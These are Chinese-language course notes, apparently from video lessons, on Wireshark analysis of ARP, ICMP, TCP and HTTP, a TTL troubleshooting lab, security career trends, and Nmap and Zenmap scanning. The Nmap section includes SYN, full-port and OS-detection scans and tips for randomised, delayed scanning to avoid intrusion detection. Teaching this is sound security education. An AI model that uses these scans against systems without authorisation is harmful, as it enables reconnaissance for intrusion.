第一个数据包是 ARP 请求包。这个请求包是主机 192.168.1.53 向局域网内发送的广播包,询问“谁知道 192.168.1.1(网关)的 MAC 地址”。
点击该数据包,在详情面板中展开“Address Resolution Protocol (request)”部分,可以看到以下关键字段:
- Hardware type: 硬件类型,标识链路层协议。
1代表以太网。 - Protocol type: 协议类型,标识网络层协议。
0x0800代表 IPv4。 - Hardware size: 硬件地址长度,即 MAC 地址长度,为
6个字节(48位)。 - Protocol size: 协议地址长度,即 IP 地址长度,为
4个字节(32位)。 - Opcode: 操作码,标识 ARP 数据包类型。
1表示请求。 - Sender MAC address: 发送方 MAC 地址,即主机
192.168.1.53的 MAC 地址。 - Sender IP address: 发送方 IP 地址,即
192.168.1.53。 - Target MAC address: 目标 MAC 地址。在请求包中,此字段全为
0(00:00:00:00:00:00),因为此时还不知道。 - Target IP address: 目标 IP 地址,即
192.168.1.1(网关)。
分析 ARP 响应包
第二个数据包是 ARP 响应包。这是网关 192.168.1.1 在收到请求后,回复给主机 192.168.1.53 的单播包。
点击该数据包,查看 ARP 部分,其字段与请求包类似,但有以下关键区别:
- Opcode: 操作码为
2,表示响应。 - Sender MAC address 和 Sender IP address: 此时变为了网关
192.168.1.1的 MAC 地址和 IP 地址。 - Target MAC address 和 Target IP address: 此时变为了最初发起请求的主机
192.168.1.53的 MAC 地址和 IP 地址。
可以看到,响应包中的地址信息与请求包正好互换了。
ARP 协议交互过程总结
本节课中我们一起学习了 ARP 协议的抓包与分析。现在我们来总结一下整个过程。
ARP 协议的工作过程可以概括为“一问一答”:
- 广播请求:主机 A 想知道主机 B(已知其 IP 地址)的 MAC 地址,于是向局域网内发送一个 广播 ARP 请求包,询问“谁的 IP 地址是 B?”。
- 单播响应:主机 B 收到这个广播请求后,识别出自己的 IP 地址,于是向主机 A 发送一个 单播 ARP 响应包,告知“我的 IP 地址是 B,我的 MAC 地址是 X”。
在数据包层面:
- 在 请求包 中,目标 MAC 地址字段为全零。
- 在 响应包 中,这个全零字段被目标主机(即被请求方)自己的 MAC 地址填充,并且发送方与目标方的地址信息完成了互换。

整个过程清晰展示了 ARP 协议如何通过“广播请求,单播回应”的机制,完成从 IP 地址到 MAC 地址的动态解析。
课程P5-2.1:网络安全基础 - 安全工程师行业发展与就业趋势 🚀
在本节课中,我们将要学习网络安全行业的整体发展情况以及相关的就业趋势。我们将从行业背景、从业者动机、适合人群以及职业发展路径等多个角度进行剖析,帮助你全面了解这个领域,并找到自己的定位。
课程安排与学习方式 📚
上一讲我们介绍了课程的整体框架,本节中我们来看看具体的授课方式与课程结构。
我们以后的课程安排如下:
- 首先,会用10到15分钟时间对上一讲的重点内容进行串讲和回顾,并答疑。
- 中间部分讲解本节课的正课内容。
- 课程结尾,会根据内容重要性布置一些作业。
安全行业的发展与就业趋势 💼
本节我们将聚焦于安全行业本身,探讨其发展现状和未来的就业机会。了解这些信息,有助于你明确学习目标,规划职业道路。
学习网络安全的主要动机
人们学习网络安全的动机各不相同,主要可以分为以下几类:
以下是基于不同动机的学习者分类:
- 兴趣驱动型:这部分学习者纯粹出于对技术的热爱和好奇心。兴趣是最好的老师,许多从业者都源于此。
- 职业发展型:这部分学习者旨在升职加薪或寻求新的就业机会。他们学习的目标非常明确,就是为了提升职场竞争力。
适合学习网络安全的人群
网络安全是一个包容性较强的领域,对学习者的背景要求相对宽松。
以下是适合学习本课程的主要人群分类:
- 在校大学生:包括计算机和非计算机专业的学生,学历要求高中及以上即可。学历并非学习安全的绝对门槛。
- 在职提升人员:已经从事IT相关工作(如运维、开发),希望向安全架构师或更高层次发展的人员。掌握安全技能能使其在原有架构师(运维架构师、业务架构师)基础上,进阶为安全架构师或全栈架构师。
- 在职转行人员:希望从其他IT岗位(如前端开发、后端开发)转向安全领域的人员。安全行业经验越丰富越有价值,职业生命周期较长,能有效缓解年龄危机。
就业前景与薪资水平
对于网络安全领域的就业前景,我们可以通过市场数据来获得直观认识。


以下是关于就业薪资的客观描述:
- 对于零基础、大专以上学历的求职者,保守估计起薪可达 10k+。
- 对于有经验的安全架构师等岗位,薪资范围普遍在 25k - 70k 每月。
- 安全行业为许多求职者提供了“换赛道”竞争的机会,可能在某些领域实现弯道超车。
总结 🎯

本节课中我们一起学习了网络安全行业的概况。我们了解了课程的学习方式,分析了人们学习安全的不同动机,明确了适合学习的人群分类,并探讨了行业的就业前景与薪资水平。安全领域机会广阔,对于不同背景的学习者都敞开了大门。
课程P50:9.5 - 【WireShark抓包系列】常用协议分析-ICMP协议 🕵️♂️
在本节课中,我们将学习如何使用WireShark抓取并分析ICMP协议的数据包。ICMP协议是网络诊断中常用的协议,理解其数据包结构对于网络分析至关重要。


如何产生ICMP数据包 🚀
上一节我们介绍了课程目标,本节中我们来看看如何生成用于分析的ICMP数据包。
要产生ICMP协议的数据包,可以使用操作系统的ping命令。ping命令会发送ICMP Echo Request(回显请求)报文,并等待目标主机返回ICMP Echo Reply(回显应答)报文。
以下是具体操作步骤:
- 打开命令行终端。
- 输入命令
ping 目标域名或IP,例如ping xuega.cn。 - 为了便于分析,可以指定只发送一个数据包。在Windows系统中,命令为
ping -n 1 xuega.cn;在Linux/macOS系统中,命令为ping -c 1 xuega.cn。
执行ping命令后,WireShark中就会捕获到对应的ICMP请求与响应数据包。
分析ICMP数据包结构 🔍
在成功捕获数据包后,本节我们来详细解析ICMP数据包的结构。一次成功的ping会产生一去一回两个数据包,即一个请求包和一个响应包。
请求包分析
首先,我们分析ICMP Echo Request(请求包)。
- 网络层(IP协议):数据包基于IP协议。在IP头部中,可以清晰地看到源IP地址(
src)和目的IP地址(dst)。- 例如:
src: 192.168.1.53->dst: xuega.cn的IP地址
- 例如:
- 传输层(ICMP协议):在IP层之下是ICMP协议的详细信息。
- Type(类型):该字段值为 8,代表这是一个Echo Request(回显请求)包。
- Checksum(校验和):用于验证数据包在传输过程中的完整性,状态显示为“Good”表示数据完好。
- Identifier(标识符) 与 Sequence Number(序列号):这两个字段,连同
Type和Checksum,在请求包和对应的响应包中是完全一致的,用于匹配请求与响应。
- 数据部分:包含请求发送的填充数据。
响应包分析
接下来,我们查看对应的ICMP Echo Reply(响应包)。
响应包的结构与请求包高度相似,核心区别在于:
- Type(类型):该字段值为 0,代表这是一个Echo Reply(回显应答)包。
- IP头部:源地址和目的地址与请求包相反。
- 关键字段一致性:如前所述,
Identifier和Sequence Number字段与请求包中的值一致,确保响应能正确匹配到最初的请求。 - 数据部分:响应包会包含请求包中发送的数据的拷贝。
ICMP协议工作流程总结 📝
本节课中我们一起学习了ICMP协议的分析。现在我们来总结其核心工作流程。
ICMP协议的工作过程可以概括为:
- 源主机(本机)构造一个Type=8的ICMP Echo Request数据包并发送出去。
- 如果目标主机在线且网络通畅,它将收到这个请求包。
- 目标主机随后构造一个Type=0的ICMP Echo Reply数据包作为响应。这个响应包会拷贝请求包中的特定数据(如
Identifier、Sequence Number和填充数据),并将其发回源主机。 - 源主机收到响应包,通过匹配字段确认这是对自己请求的回复,从而判断网络连通性。

这个过程简单而高效,是网络故障排查中最基础的工具之一。理解Type 8(请求)和Type 0(响应)这两个核心代码,是掌握ICMP协议分析的关键。
课程P51:9.6 - 【WireShark抓包系列】常用协议分析-TCP协议 📡
在本节课中,我们将要学习TCP协议的基础知识,并通过WireShark抓包实践,深入理解TCP建立连接的“三次握手”和断开连接的“四次挥手”过程。我们将使用简单的命令模拟连接,并分析每个数据包的关键字段。

TCP协议概述


TCP(传输控制协议)是TCP/IP协议族中使用最广泛、功能最复杂的协议之一。它是面向连接的、可靠的传输协议,提供了流量控制、多路复用等机制。
许多应用层协议都基于TCP,例如:
- HTTP/HTTPS
- FTP/SFTP
- SSH
- Telnet
- SMTP/POP3
上一节我们介绍了协议分析的基本方法,本节中我们来看看TCP协议的具体通信过程。
实验准备:捕获TCP数据包
首先,我们需要在WireShark中设置并开始捕获TCP数据包。
- 在WireShark中清空现有数据包。
- 在过滤器中输入
tcp,然后开始抓包。
为了模拟TCP会话的建立,我们将使用一个简单的操作:通过SSH客户端(如Xshell)远程连接一台Kali Linux主机。这个连接过程必然会触发TCP的三次握手。
TCP三次握手建立连接 🤝
当我们通过SSH客户端连接Kali Linux的22端口时,WireShark会捕获到TCP三次握手的数据包。
以下是三次握手的具体步骤:
第一次握手 (SYN)
客户端(本例中为物理机)向服务器(Kali Linux)发送一个SYN报文段,请求建立连接。
- 关键字段:
Flags: SYN=1 (连接请求)Seq: 初始序列号 (例如 0)Window size: 通告本机的接收窗口大小,用于流量控制。
第二次握手 (SYN+ACK)
服务器收到SYN报文后,同意建立连接,并发送SYN+ACK报文进行确认。
- 关键字段:
Flags: SYN=1, ACK=1 (同意连接,并确认收到上一个包)Ack: 值为 客户端初始序列号(Seq) + 1Seq: 服务器自己的初始序列号。

第三次握手 (ACK)
客户端收到服务器的SYN+ACK报文后,发送ACK报文进行最终确认。
- 关键字段:
Flags: ACK=1Ack: 值为 服务器初始序列号(Seq) + 1Seq: 值为上一次握手服务器回复的Ack值。
至此,一个稳定的TCP连接就建立成功了。我们可以通过WireShark的“统计” -> “流量图”功能,更直观地查看这个握手过程。


TCP四次挥手断开连接 👋



当连接需要终止时(例如关闭SSH会话),会触发TCP的四次挥手过程。
以下是四次挥手的具体步骤:

第一次挥手 (FIN+ACK)
主动关闭方(本例中为Kali Linux服务器)发送FIN+ACK报文,表示自己没有数据要发送了,请求关闭连接。
- 关键字段:
Flags: FIN=1, ACK=1

第二次挥手 (ACK)
被动关闭方(客户端)收到FIN报文后,发送ACK报文进行确认。
- 关键字段:
Flags: ACK=1Ack: 值为 收到的FIN报文的序列号(Seq) + 1

第三次挥手 (FIN+ACK)
被动关闭方在完成数据发送后,也发送一个FIN+ACK报文,表示自己也没有数据要发送了。
- 关键字段:
Flags: FIN=1, ACK=1
第四次挥手 (ACK)
主动关闭方收到FIN报文后,发送最终的ACK报文进行确认。
- 关键字段:
Flags: ACK=1Ack: 值为 收到的FIN报文的序列号(Seq) + 1
等待一段时间后,双方都会关闭连接并释放资源。同样,我们可以在WireShark的流量图中清晰地看到这四个步骤。

核心概念与字段总结

在本节中,我们一起学习了TCP连接管理的核心机制。以下是需要掌握的关键点:
关键标志位 (Flags)
- SYN: 同步序列号,用于发起连接。
- ACK: 确认,表示确认号字段有效。
- FIN: 终止,用于释放连接。

关键字段
- 序列号 (Sequence Number): 标识发送的数据字节流。
- 确认号 (Acknowledgment Number): 期望收到的下一个字节的序列号,计算公式为
Ack = 收到的Seq + 数据长度。在握手阶段,即使没有数据,SYN和FIN标志也会消耗一个序列号,因此确认号需要+1。 - 窗口大小 (Window Size): 用于流量控制,告知对方本端的接收能力。




本节课中,我们通过WireShark实战分析了TCP协议的三次握手和四次挥手过程。理解这些基础报文交互,是学习网络协议分析、进行网络故障排查乃至安全攻防(如SYN Flood攻击原理)的重要基石。
课程P52:9.7 - 【WireShark抓包系列】常用协议分析-HTTP协议 🕵️♂️
在本节课中,我们将学习如何使用WireShark抓取和分析HTTP协议的数据包。HTTP是Web通信的基础,理解其数据包结构对于网络分析和安全学习至关重要。
准备工作与抓包设置
上一节我们介绍了TCP协议的分析,本节中我们来看看其上层应用协议——HTTP。首先,我们需要在WireShark中设置过滤器来捕获HTTP相关的流量。

因为HTTP协议建立在TCP协议之上,所以我们可以使用 tcp 过滤器,它也会包含HTTP协议的数据包。
在WireShark中设置过滤器为 tcp,然后开始抓包。


生成HTTP流量
有多种方式可以生成HTTP流量用于抓包分析,例如使用浏览器访问网站。这里,我们使用一个命令行工具 curl 来发送一个HTTP请求。
打开一个终端,输入以下命令:
curl -I www.baidu.com
这个命令会向百度服务器发送一个HTTP HEAD请求。参数 -I 表示仅获取服务器的响应头部信息,而不下载完整的页面内容。

命令执行后,服务器会返回百度的HTTP头部信息。此时,在WireShark中停止抓包,以避免产生过多无关数据包干扰分析。
curl 是一个在命令行下工作的文件传输工具,我们用它来发送HTTP请求,从而产生可供分析的HTTP协议数据包。

分析抓取的数据包
停止抓包后,我们来看WireShark捕获到的数据。


在数据包列表中,我们可以清晰地看到TCP连接建立的“三次握手”和连接关闭的“四次挥手”过程。

其中,第4个和第6个数据包就是我们要分析的HTTP协议数据包。
以下是整个通信过程的逐步分析:
- 客户端发送HTTP请求:客户端(我们的机器)向服务器(百度)发送了一个HTTP HEAD请求。
- 服务器确认请求:服务器收到请求后,回复了一个TCP ACK包进行确认。
- 服务器返回HTTP响应:确认完成后,服务器将HTTP的头部信息(状态码为200 OK)返回给客户端。
- 客户端确认响应:客户端收到服务器的HTTP响应后,发送一个TCP ACK包告知服务器已收到信息。
- 连接关闭:数据传输完毕后,客户端发起FIN/ACK,进入“四次挥手”流程以断开TCP连接。
这个过程完整展示了TCP连接下HTTP协议的“建立连接 -> 数据传输 -> 关闭连接”生命周期。
查看HTTP流
为了更清晰地查看HTTP协议的请求和响应内容,我们可以使用WireShark的“追踪流”功能。
在代表HTTP请求或响应的数据包上右键,选择 “追踪流” -> “HTTP流”。
在弹出的窗口中,你会看到纯文本格式的HTTP对话:
- 上半部分(红色)是客户端发送的
HEAD请求。 - 下半部分(蓝色)是服务器返回的响应头部信息。
通过这种方式,可以直观地看到一次完整的HTTP“请求-响应”交互。
总结
本节课中,我们一起学习了HTTP协议的基础抓包与分析。
我们首先使用 curl -I 命令生成HTTP流量,然后在WireShark中通过TCP过滤器捕获数据包。通过分析数据包序列,我们观察了在TCP连接基础上HTTP协议的通信过程,包括请求、响应及连接状态管理。最后,利用“追踪HTTP流”功能,我们清晰地查看了协议交互的原始内容。
掌握这些方法,是进一步分析Web应用行为和排查网络问题的重要基础。
P53:9.8-【WireShark抓包系列】实战:WireShark抓包解决服务器被黑上不了网 🕵️♂️
在本节课中,我们将学习如何利用WireShark抓包分析技术,诊断并解决一个典型的服务器网络故障:服务器可以连通网关但无法访问外网。我们将通过模拟一个TTL值被篡改的场景,一步步分析问题根源。


概述与问题场景
服务器被黑后无法上网,具体表现为可以ping通网关,但无法访问外部网络。我们需要找出导致此问题的根本原因。
我们通过修改主机的TTL值为1来模拟此故障场景。以下是临时修改Linux内核参数的方法:

sysctl -w net.ipv4.ip_default_ttl=1

Linux系统默认的TTL值是64,上述命令将其临时修改为1。

理解TTL(生存时间)🔍
上一节我们设置了故障场景,本节中我们来深入了解一下核心概念TTL。

TTL是IP数据包的一个生存周期字段。其主要作用是防止数据包在互联网中无限循环转发。每个操作系统有默认的初始TTL值,Linux系统通常为64。

数据包每经过一个路由器(即“跳”),其TTL值就会减1。当TTL值减为0时,当前路由器会丢弃该数据包,并向源地址发送一个 ICMP Time Exceeded 消息。

故障现象测试
以下是测试修改TTL值后的网络连通性:

首先,我们测试内网连通性,ping网关地址:
ping 192.168.1.1
此时可以ping通网关,说明内网链路正常。

接着,我们测试外网连通性,ping一个外部域名:
ping xuegod.cn
此时会收到 Time to live exceeded 的响应,这直接导致了无法上网。这个现象提示我们,问题可能与TTL值有关。
使用WireShark抓包分析 🧰
上一节我们观察到了故障现象,本节中我们使用WireShark抓包来深入分析具体原因。

我们在WireShark中设置过滤器为 icmp,然后再次执行 ping xuegod.cn 命令并捕获数据包。

以下是抓包结果的关键分析:
- 第一个数据包是向
xuegod.cn的IP地址发送的ICMP Echo Request。 - 第二个响应数据包的源IP地址是本机网关,而非目标服务器。其内容为
ICMP Time Exceeded。
这个结果明确显示:我们发出的数据包在到达第一个路由器(即网关)时,TTL值就从1减为0,因此被网关丢弃并返回了超时错误。

对比实验:TTL=2 的情况
为了进一步验证,我们将TTL值临时修改为2:
sysctl -w net.ipv4.ip_default_ttl=2
再次使用WireShark抓包并 ping xuegod.cn。

以下是抓包结果的对比:
- 当TTL=1时,
ICMP Time Exceeded响应来自网关 (192.168.1.1)。 - 当TTL=2时,
ICMP Time Exceeded响应来自另一个IP地址 (140.x.x.1)。
这证明数据包在TTL=2时,成功通过了本地网关,在到达第二个网络设备时才因TTL耗尽被丢弃。这帮助我们判断出运营商的网关地址。

问题解决与TTL恢复
分析清楚原因后,我们将TTL值恢复为默认值以解决问题:
sysctl -w net.ipv4.ip_default_ttl=64
恢复后,再次 ping xuegod.cn,可以成功收到来自目标服务器的 ICMP Echo Reply,网络恢复正常。


通过TTL判断网络路径 🌐

上一节我们解决了问题,本节中我们来看看如何利用TTL值进行简单的网络诊断。
在正常的响应中,服务器返回的数据包带有其初始TTL值。例如,xuegod.cn 返回的数据包TTL值为52。
已知Linux服务器的默认TTL为64,那么可以推断数据包从源到目标经过了:64 - 52 = 12 个路由节点(跳)。
这意味着,要成功访问该服务器,我们发出的数据包TTL值必须大于12。这个原理可以帮助我们快速判断网络可达性所需的最小TTL值。


扩展工具:MTR网络诊断
除了手动分析,我们还可以使用 mtr 工具,它集成了 traceroute 和 ping 的功能,能持续检测到目标主机路径上所有节点的网络质量。

以下是安装和使用方法:
- 安装mtr:
yum install -y mtr - 使用mtr检测到目标域名的路径:
mtr会启动一个动态界面,显示途径的所有跃点、丢包率、延迟等信息。图中标红或丢包率高的节点,可能就是网络瓶颈或问题所在。例如,路径显示经过12跳到达目标,与之前TTL推算的结果一致。mtr xuegod.cn

总结 📝
本节课中我们一起学习了:
- 问题定位:通过“能ping通网关但无法上网”的现象,联想到TTL值可能被篡改。
- 原理回顾:理解了TTL(生存时间)的作用是防止数据包无限转发,每经过一跳减1,归零则被丢弃。
- 抓包实战:使用WireShark捕获ICMP数据包,通过分析
ICMP Time Exceeded报文的来源,精确定位数据包是在哪一跳被丢弃的,从而验证了TTL值过小是故障原因。 - 解决方案:将系统的TTL值恢复为正常值(如64)。
- 诊断技巧:学会了通过返回数据包的TTL值推算经过的网络跳数。
- 工具扩展:介绍了
mtr这个强大的网络路径质量诊断工具。

通过这个实战案例,我们掌握了利用WireShark分析网络层问题的一种有效思路和方法。

课程 P54:10.1 - 【漏洞扫描工具系列】NMAP概述及端口状态解析 🔍
在本节课中,我们将要学习网络扫描工具 NMAP 的核心概念、高级使用技巧,并重点解析其端口扫描功能返回的各种端口状态。理解这些状态是进行有效网络探测和安全评估的基础。
NMAP 概述 🛠️
NMAP 是一款网络探测和安全扫描程序。系统管理员和个人可以使用这款软件扫描大型网络,以获取哪些主机正在运行以及它们提供了哪些服务等信息。对于渗透测试人员而言,NMAP 是必须掌握的工具。
它支持多种扫描技术,例如:
- UDP 扫描
- TCP Connect 扫描
- TCP SYN 扫描(半开扫描)
- 以及 FIN、ACK、圣诞树、NULL 扫描等。
同时,NMAP 还能探测目标主机的操作系统类型、服务类型及其版本号。
NMAP 的主要功能 📋
以下是 NMAP 主要用于实现的几个核心功能:
- 主机发现:检测网络上存活的主机。
- 端口扫描与枚举:检测主机上开放的端口。
- 服务与版本检测:识别开放端口对应的服务及其软件版本。
- 操作系统检测:推测目标主机的操作系统和硬件地址。
- 漏洞检测:利用脚本引擎发现脆弱性漏洞。
- 高级功能:支持基于 Lua 语言的脚本编写,允许用户定制专属的扫描脚本,功能非常强大。
端口状态解析 🎯
上一节我们介绍了 NMAP 的多种功能,本节中我们重点来看看其最著名和核心的功能——端口扫描。通过扫描,我们可以确定目标主机开放了哪些端口,每个端口对应什么服务及版本,进而分析潜在的安全风险。扫描结果会根据不同的响应,将端口状态分为以下几类:
以下是 NMAP 端口扫描可能返回的几种状态及其含义:
-
open(开放)
应用程序正在该端口监听,并准备接收 TCP 连接或 UDP 报文。这是最直接可利用的状态。 -
closed(关闭)
端口是可访问的(即主机在线),NMAP 的探测报文能够到达并收到响应,但没有应用程序在此端口上监听。通常没有直接利用价值。 -
filtered(被过滤)
由于防火墙、数据包过滤规则等原因,探测报文被阻止,无法到达目标端口。NMAP 无法确定该端口是开放还是关闭。状态返回为filtered时,端口可能开放也可能关闭。 -
unfiltered(未被过滤)
端口可以访问,但 NMAP 无法确定其是开放还是关闭。只有用于探测防火墙规则的 ACK 扫描 才会将端口归为此类,其他扫描方式很少见到此状态。 -
open|filtered(开放或被过滤)
无法确定端口是开放还是被过滤。当开放的端口不响应探测时,或探测报文被过滤器丢弃而未引发任何响应时,会产生此状态。UDP、IP 协议、FIN 和 NULL 扫描 等方式可能返回此状态。 -
closed|filtered(关闭或被过滤)
无法确定端口是关闭还是被过滤。需要结合其他扫描方式或技术进行进一步判断。
总结 📝

本节课中,我们一起学习了网络扫描利器 NMAP 的基本概述、核心功能以及端口扫描返回的各种状态解析。理解 open、closed、filtered 等状态的含义,是准确分析扫描结果、评估目标网络状况的关键第一步。掌握这些基础知识,将为后续学习更高级的扫描技巧和漏洞利用打下坚实的基础。
P55:10.2-【漏洞扫描工具系列】NMAP语法及示例 🛠️

在本节课中,我们将要学习网络扫描工具NMAP的基本语法和一些常用示例。我们将从最简单的扫描开始,逐步介绍端口扫描、操作系统探测、隐蔽扫描等高级功能,帮助你理解如何利用NMAP进行网络探测和信息收集。

NMAP基本语法


NMAP的语法结构很简单,基本格式为 nmap [扫描类型] [其他参数] [目标]。扫描类型和其他参数决定了NMAP的行为。

以下是NMAP命令的基本结构:
nmap [扫描类型选项] [其他选项] [目标域名或IP地址]

基础扫描示例
上一节我们介绍了NMAP的基本语法,本节中我们来看看如何执行一次最简单的扫描。
使用NMAP扫描一台服务器时,只需在命令后跟上服务器的域名或IP地址即可。默认情况下,NMAP会扫描目标主机上1000个最有可能开放的TCP端口。

nmap 192.168.1.63
执行上述命令后,NMAP会列出目标主机开放的端口。例如,它可能检测出22、80、111和3306这几个端口是开放的。

详细扫描与全端口扫描
基础扫描只能看到结果。如果我们想了解扫描过程中的详细信息,或者担心常规扫描会遗漏非常用端口,就需要使用其他参数。
以下是两种更详细的扫描方式:

- 显示冗余信息:使用
-v参数可以让NMAP显示扫描过程中的细节信息。nmap -v 192.168.1.63 - 全端口扫描:使用
-p参数指定端口范围,可以扫描所有65535个端口,确保没有遗漏。
全端口扫描速度较慢,但能发现所有开放的端口,包括那些高位端口。nmap -p 1-65535 192.168.1.63
在生产环境中,为了安全,应该只开启正在提供服务的端口,并关闭所有不需要的服务,以防止被黑客利用。

识别与处理未知服务
当我们扫描发现一个不认识的开放端口时,需要判断它是否是正常服务或潜在的后门。
以下是排查未知服务的思路:
- 查看端口对应进程:在目标主机上使用
lsof -i :端口号命令,查看是哪个进程在使用该端口。 - 定位进程文件:根据查到的进程ID (PID),使用
ps aux | grep PID或ls -l /proc/PID/exe命令,找到该进程对应的可执行文件路径。 - 判断与处理:如果确认该文件是不认识的恶意程序(木马),可以先使用
kill -9 PID命令结束进程,然后删除对应的文件。


这种思路可以帮助我们找出黑客监听的后门端口和木马存放的路径。
操作系统类型探测


除了扫描端口,NMAP还能探测目标主机的操作系统类型。这是通过将扫描得到的“指纹”信息与内置的数据库进行比对来实现的。
使用 -O 参数可以启用操作系统检测功能。同时,我们常结合 -sS 参数进行半开扫描,以减少在目标主机上留下日志记录。
nmap -sS -O 192.168.1.63
命令执行后,NMAP会给出对操作系统类型的猜测,例如“Running: Linux 3.X|4.X”。探测结果不一定百分之百准确,但能提供一个重要的参考方向。

半开扫描原理:它只完成TCP三次握手的前两次。客户端发送SYN包,如果目标端口开放,会回复SYN-ACK,此时客户端直接发送RST断开连接,而不完成第三次握手。这样避免了建立完整连接,更为隐蔽。

扫描网段与特定服务
NMAP的强大之处在于它能批量扫描一个网段,并筛选出提供特定服务的主机。

以下是两个相关的应用示例:


- 扫描整个网段的操作系统:通过指定CIDR格式的网段,可以探测该网段内所有存活主机的操作系统类型。
nmap -sS -O 192.168.1.0/24 - 查找网段内开放特定端口的主机:例如,查找网段内所有开放了80端口(Web服务)的主机。
nmap -v -p 80 192.168.1.62-67

隐蔽扫描技巧

直接、快速的扫描容易被目标的防火墙或入侵检测系统发现并屏蔽IP地址。因此,在实际渗透测试中,需要采用一些隐蔽技巧。
以下是两种常用的隐蔽扫描参数:

- 随机扫描:使用
--randomize-hosts参数,NMAP会随机打乱目标主机的扫描顺序,而不是按顺序逐个扫描。 - 延时扫描:使用
--scan-delay参数(单位:毫秒或秒),可以设置每发送一个探测包之间的时间间隔,从而降低扫描速度,避免触发警报。nmap --randomize-hosts --scan-delay 3000ms -p 80 192.168.1.62-69
此外,还可以使用通配符来指定扫描范围。例如,192.168.1.* 表示扫描 192.168.1.1 到 192.168.1.254 的所有IP地址。但需注意,大范围的扫描非常耗时,且需谨慎使用。

本节课中我们一起学习了NMAP工具的核心用法。我们从最基本的扫描命令开始,逐步掌握了显示详细信息、进行全端口扫描、探测操作系统、批量扫描网段以及使用随机化和延时参数进行隐蔽扫描等技能。理解这些语法和示例,是进行有效网络探测和安全评估的重要基础。记住,工具的使用应始终遵守法律和道德规范。
课程 P56:10.3 - 【漏洞扫描工具系列】图形界面 Zenmap 的使用 🔍

在本节课中,我们将要学习图形化漏洞扫描工具 Zenmap 的使用。Zenmap 是 Nmap 的图形界面版本,它通过直观的点击和选择来配置扫描参数,避免了记忆复杂命令的麻烦,尤其适合初学者和偏好图形化操作的用户。我们将介绍其界面、基本操作、以及如何利用其内置和自定义配置进行高效扫描。

启动与界面介绍 🖥️
上一节我们介绍了命令行下的 Nmap,本节中我们来看看其图形界面 Zenmap 如何启动和操作。
在 Kali Linux 中,可以通过“应用程序” -> “信息收集” -> “Zenmap”来启动它。启动后,你会看到如下主界面。

界面主要分为几个区域:
- 目标输入框:在此处输入要扫描的目标,例如
www.xueba.cn。 - 配置文件选择区:右侧提供了多种预设的扫描配置。
- 命令显示区:当你选择不同的配置文件时,此处会自动生成对应的 Nmap 命令行。
- 扫描控制区:点击“扫描”按钮即可开始扫描。
选择任意一个预设配置(如“Intense scan”),在目标框输入地址,然后点击“扫描”。扫描过程和结果会实时显示在下方窗口。

扫描结束后,你可以通过多个标签页查看详细信息:
- Nmap 输出:显示完整的扫描命令和文本结果。
- 端口/主机:以列表形式展示所有扫描到的端口及其状态、服务、版本。
- 拓扑:图形化显示从本机到目标主机的路由追踪路径。
- 主机详情:显示主机的操作系统猜测、开放端口数量等综合信息。
- 扫描:记录本次扫描的历史。




创建与编辑自定义配置 ⚙️
了解了基本扫描流程后,我们来看看如何创建符合自己需求的扫描配置。
Zenmap 的强大之处在于允许用户自定义扫描策略。你可以修改现有配置,也可以完全新建一个。
以下是操作步骤:
- 点击顶部菜单栏的“配置” -> “新建配置或命令”。
- 在弹出的窗口中,为你的配置起一个名字,例如
My_Scan。 - 在多个选项卡中勾选你需要的扫描选项(如“扫描”选项卡中的“-sS”、“-sU”,“脚本”选项卡中的特定脚本)。
- 每勾选一个选项,下方的“命令”输入框会自动更新对应的命令行参数。
- 配置完成后,点击“保存更改”。

保存后,你自定义的配置就会出现在右侧的配置文件下拉列表中。选择它并点击扫描,Zenmap 就会按照你设定的规则执行。
此外,你也可以直接编辑现有的配置。选中一个配置后,点击“配置” -> “编辑选中的配置”,即可进行调整。

核心概念提示:在自定义配置时,你实际上是在组合 Nmap 的命令行参数。Zenmap 生成的命令可以直接复制到终端中执行,效果完全相同。例如,一个快速扫描加服务版本探测的命令可能如下:
nmap -sV -T4 www.target.com


内置配置文件详解 📋
Zenmap 预设了多种扫描配置,理解它们各自代表的意义,能帮助你快速选择合适的扫描方式。
以下是 Zenmap 主要内置配置文件的说明:
1. 激烈扫描 (Intense scan)
这是最常用的扫描之一,能提供较为全面的信息。
- 对应命令:
nmap -T4 -A -v - 参数解释:
-T4:设定扫描速度为第4级(共0-5级),速度与隐蔽性平衡。-A:启用操作系统检测、版本检测、脚本扫描和路由追踪。-v:显示详细输出。

2. 激烈扫描加 UDP (Intense scan plus UDP)
在激烈扫描的基础上,增加了 UDP 端口扫描。
- 对应命令:
nmap -sS -sU -T4 -A -v - 参数解释:
-sS:TCP SYN 扫描(半开扫描)。-sU:UDP 端口扫描。

3. 激烈扫描所有 TCP 端口 (Intense scan, all TCP ports)
扫描所有 65535 个 TCP 端口,非常全面但耗时较长。
- 对应命令:
nmap -p 1-65535 -T4 -A -v - 参数解释:
-p 1-65535:指定扫描端口范围为 1 到 65535。
4. Ping 扫描 (Ping scan)
仅用于探测主机是否在线,不扫描端口。
- 对应命令:
nmap -sn - 参数解释:
-sn:仅进行 Ping 扫描(主机发现)。
5. 快速扫描 (Quick scan)
只扫描最常见的 100 个端口,速度极快。
- 对应命令:
nmap -T4 -F - 参数解释:
-F:快速模式,扫描端口数减少。
6. 快速扫描加强版 (Quick scan plus)
在快速扫描基础上,增加服务版本探测。
- 对应命令:
nmap -sV -T4 -O -F --version-light - 参数解释:
-sV:探测服务版本。-O:启用操作系统检测。--version-light:设定为轻量级版本检测。
7. 路由跟踪 (Quick traceroute)
主要用来进行路由追踪,显示数据包经过的网络节点。
- 对应命令:
nmap -sn --traceroute - 参数解释:
--traceroute:显示到目标主机的路由跳数。
8. 常规扫描 (Regular scan)
相当于不带任何参数的默认 Nmap 扫描。
- 对应命令:
nmap - 参数解释:默认扫描前 1000 个 TCP 端口。
9. 慢速全面扫描 (Slow comprehensive scan)
启用最全面的检测选项,包括所有脚本,速度最慢但信息最全。
- 对应命令:
nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script “default or (discovery and safe)” - 参数解释:组合了多种主机发现技术和安全脚本,进行深度探测。




总结 📝

本节课中我们一起学习了图形化漏洞扫描工具 Zenmap 的核心使用方法。

我们首先启动了 Zenmap 并熟悉了其操作界面,了解了如何通过选择目标、配置文件并点击扫描来执行一次基本的探测。接着,我们深入探讨了如何根据个人需求创建和编辑自定义扫描配置,这让我们能灵活地组合各种 Nmap 参数而无需记忆命令。最后,我们详细解读了 Zenmap 内置的多种预设配置文件,从快速的 Ping 扫描到全面的“慢速全面扫描”,理解了每种配置背后的命令参数和适用场景。

